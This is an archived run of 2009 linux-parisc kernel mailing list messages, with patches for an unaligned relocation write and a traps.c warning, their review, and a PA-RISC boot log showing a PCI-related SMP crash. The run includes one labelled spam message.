List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2082
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2082>

> On Wed, Aug 26, 2009 at 04:41:20PM +0200, Artem Alimarine wrote:
> > One point is that in the function apply_relocate_add a 4-byte aligned  
> > address is created:
> >
> > 627                dot = (Elf64_Addr)loc & ~0x03;
> > 628                loc64 = (Elf64_Xword *)loc;
> >
> > and used as a 64-bit location
> >
> > 711                case R_PARISC_DIR64:
> > 712                        /* 64-bit effective address */
> > 713                        *loc64 = val + addend;
> > 714                        break;
> >
> > So, 8-byte word is read with a 4-byte alignment.
> 
> Perhaps this is expected to be an 8byte address pointing at a 4-byte word?
> (and it's a bug that ist's not)

No, R_PARISC_DIR64 is a 64-bit reloacation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix warning in traps.c
Date: Fri, 28 Aug 2009 15:00:36 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20090828190036.GG19494@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1251486141 30010 80.91.229.12 (28 Aug 2009 19:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2009 19:02:21 +0000 (UTC)
Cc: grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	deller@gmx.de
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 21:02:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mh6iD-0000RO-C8
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Aug 2009 21:02:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751852AbZH1TAg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2009 15:00:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751864AbZH1TAg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Aug 2009 15:00:36 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54020 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751852AbZH1TAg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2009 15:00:36 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Mh6ge-0004g6-RZ; Fri, 28 Aug 2009 19:00:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2083>

From: Grant Grundler <grundler@parisc-linux.org>

On Tue, Aug 18, 2009 at 01:45:17PM -0400, John David Anglin wrote:
>  CC      arch/parisc/kernel/traps.o
> arch/parisc/kernel/traps.c: In function 'handle_interruption':
> arch/parisc/kernel/traps.c:535:18: warning: operation on 'regs->iasq[0]'
> may be undefined

Yes - Line 535 should use both [0] and [1].

Reported-by: John David Anglin <dave@hiauly1.hia.nrc.ca>
Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -532,7 +532,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	  	/* Kill the user process later */
 	  	regs->iaoq[0] = 0 | 3;
 		regs->iaoq[1] = regs->iaoq[0] + 4;
-	 	regs->iasq[0] = regs->iasq[0] = regs->sr[7];
+	 	regs->iasq[0] = regs->iasq[1] = regs->sr[7];
 		regs->gr[0] &= ~PSW_B;
 		return;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix unaligned access in 64-bit apply_relocate_add
Date: Fri, 28 Aug 2009 15:24:25 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20090828192425.GH19494@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1251487477 1945 80.91.229.12 (28 Aug 2009 19:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2009 19:24:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 21:24:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mh73j-00078L-O9
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Aug 2009 21:24:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752536AbZH1TYX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2009 15:24:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752645AbZH1TYX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Aug 2009 15:24:23 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38845 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752536AbZH1TYX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2009 15:24:23 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Mh73h-0008Se-CD
	for linux-parisc@vger.kernel.org; Fri, 28 Aug 2009 19:24:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2084>

Assuming, of course, that loc64 shouldn't be 8-byte masked, and that the
relocation address was correct.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 61ee0ee..eea810c 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -63,6 +63,7 @@
 #include <linux/bug.h>
 
 #include <asm/unwind.h>
+#include <asm/unaligned.h>
 
 #if 0
 #define DEBUGP printk
@@ -799,7 +800,7 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			break;
 		case R_PARISC_DIR64:
 			/* 64-bit effective address */
-			*loc64 = val + addend;
+			put_unaligned(val + addend, loc64);
 			break;
 		case R_PARISC_SEGREL32:
 			/* 32-bit segment relative address */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix unaligned access in 64-bit apply_relocate_add
Date: Fri, 28 Aug 2009 15:40:06 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20090828194007.3DB064E09@hiauly1.hia.nrc.ca>
References: <20090828192425.GH19494@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251488423 4882 80.91.229.12 (28 Aug 2009 19:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2009 19:40:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 21:40:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mh7Iz-0003Dh-OZ
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Aug 2009 21:40:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752638AbZH1TkG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2009 15:40:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752476AbZH1TkG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Aug 2009 15:40:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4140 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752638AbZH1TkF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2009 15:40:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3DB064E09; Fri, 28 Aug 2009 15:40:06 -0400 (EDT)
In-Reply-To: <20090828192425.GH19494@bombadil.infradead.org> from "Kyle McMartin" at Aug 28, 2009 03:24:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2085
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2085>

> Assuming, of course, that loc64 shouldn't be 8-byte masked, and that the
> relocation address was correct.

I believe that the relocation location should be 8-byte aligned.  You don't
want to be handling unaligned traps all the time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jacob Lara" <pimenta@postescanada.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: If your receied this letter, it means
Date: Sat, 29 Aug 2009 14:53:15 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20090829145315.5010501@postescanada.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251550436 5116 80.91.229.12 (29 Aug 2009 12:53:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Aug 2009 12:53:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 29 14:53:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MhNRB-0002H1-RR
	for glpp-linux-parisc@lo.gmane.org; Sat, 29 Aug 2009 14:53:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750757AbZH2Mxl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Aug 2009 08:53:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750831AbZH2Mxl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 29 Aug 2009 08:53:41 -0400
Original-Received: from 84.121.242.114.dyn.user.ono.com ([84.121.242.114]:1262 "HELO
	wergvan" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1750757AbZH2Mxl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Aug 2009 08:53:41 -0400
Original-Received: from igyax ([213.145.148.141]) by wergvan with Microsoft SMTPSVC(6.0.3790.0); Sat, 29 Aug 2009 14:53:15 +0100
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 20.1 points;
 *  4.0 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address
 *      [84.121.242.114 listed in dnsbl.sorbs.net]
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [84.121.242.114 listed in sbl-xbl.spamhaus.org]
 *  2.0 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: briefextol.com]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: briefextol.com]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: briefextol.com]
Xref: news.gmane.org gmane.linux.ports.parisc:2086 gmane.spam.detected:4438247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2086>

All-night pleasure booster http://aqrcou.briefextol.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Sat, 29 Aug 2009 23:19:58 +0300 (EEST)
Lines: 185
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0908292318050.12908@math.ut.ee>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
 <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org>
 <Pine.SOC.4.64.0907310923520.710@math.ut.ee> <20090805174507.GB11458@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1251577221 9843 80.91.229.12 (29 Aug 2009 20:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Aug 2009 20:20:21 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 29 22:20:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MhUPE-0000sZ-ND
	for glpp-linux-parisc@lo.gmane.org; Sat, 29 Aug 2009 22:20:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752012AbZH2UUE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Aug 2009 16:20:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752020AbZH2UUE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 29 Aug 2009 16:20:04 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:46033 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752012AbZH2UUB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Aug 2009 16:20:01 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 20AA56E4B20;
	Sat, 29 Aug 2009 23:19:59 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 12BE5FD7A1; Sat, 29 Aug 2009 23:19:59 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 06060FD79B;
	Sat, 29 Aug 2009 23:19:59 +0300 (EEST)
In-Reply-To: <20090805174507.GB11458@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2087>

> > The real problem happens after tulip driver 
> > loading and PCI configuration of the cards.
> 
> This would be consistent with add-on cards not getting MMIO
> space assigned correctly. The ioread32() is one of several operations
> to configure the card.
> 
> It would be helpful to know if 2.6.30.x kernels (from unstable)
> show the same problem.

Tried 2.6.30-6 kernels today. Uniprocessor parisc64 kernel behaves the 
same. parisc64-smp kernel has an additional crash:

Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.30-1-parisc64-smp'
Selected kernel: /vmlinux-2.6.30-1-parisc64-smp from partition 2
Selected ramdisk: /initrd.img-2.6.30-1-parisc64-smp from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4771840 mediaptr 0x1000
Segment 1 load 00618000 size 460848 mediaptr 0x48e000
Segment 2 load 0068c000 size 300800 mediaptr 0x4ff000
Loading ramdisk 8180633 bytes @ 3f821000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.30-1-parisc64-smp (Debian 2.6.30-6) (waldi@debian.org) (gcc version 4.3.4 (GCC) ) #1 SMP Sun Aug 16 03:05:33 UTC 2009
[    0.000000] unwind_init: start = 0x404b9144, end = 0x404e5214, entries = 11277
[    0.000000] WARNING: Out of order unwind entry! 00000000404bb0c4 and 00000000404bb0d4
[    0.000000] WARNING: Out of order unwind entry! 00000000404bb0d4 and 00000000404bb0e4
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 8 (0x00000228)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/L1000-44
[    0.000000] Total Memory: 3072 MB
[    0.000000] initrd: 7f821000-7ffee399
[    0.000000] initrd: reserving 3f821000-3ffee399 (mem_max c0000000)
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.30-1-parisc64-smp
[    0.000000] NR_IRQS:128
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[    0.000000] Console: colour dummy device 160x64
[    0.028000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.064000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.580000] Memory: 3075452k/3145728k available (3144k kernel code, 69636k reserved, 1467k data, 296k init)
[    0.588000] virtual kernel memory layout:
[    0.588000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.588000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
[    0.588000]       .init : 0x000000004068c000 - 0x00000000406d6000   ( 296 kB)
[    0.588000]       .data : 0x0000000040412118 - 0x0000000040581000   (1467 kB)
[    0.588000]       .text : 0x0000000040100000 - 0x0000000040412118   (3144 kB)
[    0.660000] Calibrating delay loop... 876.54 BogoMIPS (lpj=1753088)
[    0.756000] Security Framework initialized
[    0.764000] SELinux:  Disabled at boot.
[    0.776000] Mount-cache hash table entries: 256
[    0.784000] Initializing cgroup subsys ns
[    0.876000] Initializing cgroup subsys cpuacct
[    0.884000] Initializing cgroup subsys devices
[    0.892000] Initializing cgroup subsys freezer
[    0.896000] Initializing cgroup subsys net_cls
[    0.904000] Brought up 1 CPUs
[    1.160000] net_namespace: 1928 bytes
[    1.168000] regulator: core version 0.5
[    1.176000] NET: Registered protocol family 16
[    1.300000] EISA bus registered
[    1.304000] Searching for devices...
[    1.772000] Found devices:
[    1.772000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
[    1.780000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
[    1.788000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
[    1.792000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[    1.800000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[    1.868000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
[    1.876000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[    1.884000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
[    1.892000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
[    1.900000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] { 13, 0x0, 0x782, 0x0000a }
[    2.432000] 11. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error detected.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
[    3.132000] powersw: Soft power switch support not available.
[    3.144000] bio: create slab <bio-0> at 0
[    3.292000] NET: Registered protocol family 2
[    3.348000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    3.356000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[    3.440000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    3.564000] TCP: Hash tables configured (established 262144 bind 65536)
[    3.568000] TCP reno registered
[    3.584000] NET: Registered protocol family 1
[    3.696000] Trying to unpack rootfs image as initramfs...
[    4.732000] Freeing initrd memory: 7988k freed
[    4.740000] Chassis warnings not supported.
[    4.748000] Performance monitoring counters enabled for Rhapsody DC- 440
[    4.764000] audit: initializing netlink socket (disabled)
[    4.772000] type=2000 audit(1251556747.242:1): initialized
[    4.788000] VFS: Disk quotas dquot_6.5.2
[    4.796000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    4.816000] msgmni has been set to 6023
[    4.828000] alg: No test for stdrng (krng)
[    4.836000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    4.848000] io scheduler noop registered
[    4.856000] io scheduler anticipatory registered
[    4.860000] io scheduler deadline registered
[    4.864000] io scheduler cfq registered (default)
[    4.960000] PDC Stable Storage facility v0.30
[    5.652000] STI GSC/PCI core graphics driver Version 0.9a
[    5.684000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    5.692000] serial 0000:00:04.0: enabling device (0146 -> 0147)
[    5.704000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
[    5.712000] console handover: boot [ttyB0] -> real [ttyS0]
[    5.728000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
[    5.752000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
[    5.764000] serial 0000:00:05.0: enabling device (0000 -> 0003)
[    5.776000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
[    5.792000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
[    5.804000] Couldn't register serial port 0000:00:05.0: -28
[    5.908000] brd: module loaded
[    5.912000] mice: PS/2 mouse device common for all mice
[    6.032000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[    6.048000] TCP cubic registered
[    6.172000] NET: Registered protocol family 17
[    6.184000] registered taskstats version 1
[    6.196000] rtc-generic rtc-generic: setting system clock to 2009-08-29 14:39:08 UTC (1251556748)
[    6.316000] Freeing unused kernel memory: <0>------------[ cut here ]------------
[    6.464000] Badness at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369
[    6.476000] 
[    6.480000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    6.484000] PSW: 00001000000001100000000000001110 Not tainted
[    6.488000] r00-03  000000000806000e 0000000040686fc0 0000000040182c3c 000000004058d020
[    6.496000] r04-07  0000000040668fc0 000000004065e7e0 00000000404f7db0 0000000000000000
[    6.504000] r08-11  0000000040686fc0 000000000000000 00000000406797c0
[    7.028000] r12-15  0000000000000001 0000000000000001 0000000000000000 0000000000000001
[    7.040000] r16-19  00000000f00003b0 0000000040686fc0 00000000ff83eb40 00000000406d6000
[    7.048000] r20-23  0000000000000000 00000000406d6000 ffffffffffffffff 0000000000000001
[    7.056000] r24-27  0000000000000000 000000004065e7e0 00000000404f7db0 0000000040668fc0
[    7.064000] r28-31  0000000000000000 00000000ff840490 00000000ff840580 0000000000000000
[    7 0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    7.592000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    7.608000] 
[    7.608000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040182984 0000000040182988
[    7.616000]  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
[    7.624000]  CPU:        0   CR30: 00000000ff840000 CR31: 0000000000008020
[    7.628000]  ORIG_R28: 000000000800000e
[    7.632000]  function_many+0x7c/0x2f8
[    8.152000]  IAOQ[1]: smp_call_function_many+0x80/0x2f8
[    8.164000]  RP(r2): smp_call_function+0x3c/0x50
[    8.168000] Backtrace:
[    8.168000] Backtrace:
[    8.168000]  [<0000000040115fe8>] printk+0x40/0x50
[    8.168000]  <0000000040152698>] print_tainted+0xc0/0xe0
[    8.168000]  [<0000000040104084>] intr_check_sig+0x0/0x38
[    8.168000]  [<0000000040104074>] intr_return+0x0/0x4
[    8.168000]  [<0000000040182c3c>] smp_call_function+0x3c/0x50
[    8.168000]  [<0000000040159c40>] on_each_cpu+0x28/0x68
[    8.168000]  [<000000004011b95c>] free_initmem+0x94/0x340

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc,gmane.linux.ports.parisc
Subject: Re: hppa nptl switch
Date: Mon, 31 Aug 2009 01:01:39 -0400
Lines: 42
